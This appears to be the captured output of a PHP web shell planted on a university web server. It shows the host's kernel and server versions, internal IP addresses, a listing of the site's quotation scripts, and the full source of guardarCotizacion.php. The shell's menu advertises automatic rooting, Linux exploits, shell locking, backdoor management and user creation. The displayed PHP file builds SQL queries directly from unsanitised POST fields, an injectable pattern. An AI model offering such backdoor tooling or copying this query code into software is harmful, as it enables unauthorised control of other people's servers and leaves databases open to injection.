Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
STR /
servicios /
[ HOME SHELL ]
Name
Size
Permission
Action
agregarMaterial.php
629
B
-rwxrwxr-x
agregarServicio.php
631
B
-rwxrwxr-x
cargarMaterial.php
613
B
-rwxrwxr-x
cargarServicios.php
606
B
-rwxrwxr-x
guardarCotizacion.php
2.11
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : guardarCotizacion.php
<?php // if (isset($_POST['proyecto']) && isset($_POST['descripcion']) && isset($_POST['cliente']) // && isset($_POST['fecha'])) { include "../conexion/conexion.php"; $proyecto=$_POST['proyecto']; $descripcion=$_POST['descripcion']; $cliente=$_POST['cliente']; $fecha=$_POST['fecha']; $materiales = json_decode($_POST['materiales'],true); $servicios = json_decode($_POST['servicios'],true); $query="INSERT INTO cotizaciones VALUES(DEFAULT,DEFAULT,'$cliente','$proyecto' ,'$descripcion','$fecha',0,5444)"; $resultado=$enlace->query($query); if ($resultado) { $insertados= FALSE; $idCotizacion=$enlace->insert_id; foreach($materiales as $value){ $idMaterial=$value['id']; $cantidad=$value['cantidad']; $monto=$value['monto']; $queryMaterias="INSERT INTO materiales_cotizaciones VALUES(DEFAULT,$idCotizacion,$idMaterial,$cantidad,$monto)"; $resultadoMateriales=$enlace->query($queryMaterias); if ($resultadoMateriales) { $insertados=TRUE; }else{ $insertados=FALSE; } } if ($insertados) { $insertadosSer=FALSE; foreach($servicios as $value){ $idServicio=$value['id']; $periodo=$value['periodo']; $monto=$value['monto']; $queryServicios="INSERT INTO servicios_cotizaciones VALUES(DEFAULT,$idCotizacion,$idServicio,$periodo,$monto)"; $resultadoServicios=$enlace->query($queryServicios); if ($resultadoServicios) { $insertadosSer=TRUE; }else{ $insertadosSer=FALSE; } } if ($insertadosSer) { echo "1"; } }else{ echo "error al guardar cotzacion"; } }else{ echo "error al agregar cotizacion"; } // }else{ // echo "error l recibir los datos"; // } ?>
Close